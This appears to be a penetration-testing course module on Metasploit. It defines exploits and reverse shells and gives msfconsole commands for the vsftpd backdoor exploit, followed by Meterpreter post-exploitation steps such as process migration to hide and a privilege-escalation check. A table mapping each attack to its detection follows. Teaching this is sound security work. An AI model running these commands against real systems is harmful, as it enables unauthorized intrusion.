

Exploitation with Metasploit

What Metasploit Does

Framework of exploit modules + payloads + auxiliary tools. You use it for many things:

Launch an exploit against an unpatched service

Deliver a payload (reverse shell)

Post-exploitation: elevate, collect, pivot

Core Terms

Exploit â€” the code that triggers the vuln (e.g., `exploit/multi/http/apache_mod_php`)

Payload â€” what runs after (e.g., `reverse_tcp` shell)

Reverse shell â€” target connects BACK to you (works through firewalls)

Bind shell â€” target opens a port you connect to (often blocked)

RHOSTS/LHOST/LPORT â€” remote target / your listener

Quick Workflow: Remote Exploit

```
msfconsole

search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor # classic example
set RHOSTS 10.0.0.5
run
# â†’ meterpreter session (a powerful shell)
```

Post-Exploitation (Meterpreter)

```
sysinfo      # target info
getuid       # who am I?
shell        # OS shell
uploads/ download
run post/multi/recon/local_exploit_suggester # check for privesc
migrate <pid> # hide inside a process
background   # keep the session alive
```

Key discipline: after landing, the chain = privilege escalate → persist → pivot → collect → report. Never actually do damage; prove the path, then document.

The Exploit Process (Retell the Steps)

Version identified (from scan)

Search matching module (`search <version>`)

Set options (RHOSTS, payload, LHOST)

Run → shell

Verify → "that's the pentest deliverable: reproducible step-by-step
"here's HOW I got in"

Two-Sided Discipline: Defenders Read This Too

Every Metasploit module = a detection opportunity:

Attack	Detection
Reverse shell on odd port	EDR + netflow outbound anomaly
Meterpreter process injection	process anomaly (psexec, rundll32 child)
vfstpd backdoor	odd traffic on 21
MS17-010 EternalBlue	SMB exploit signatures

Red team + blue team are two sides of the same coin. The best defenders can articulate the attack they're catching. Running the lab yourself makes you a better analyst.

[← Scanning & Vulnerability Dis...](#)

Module complete ✓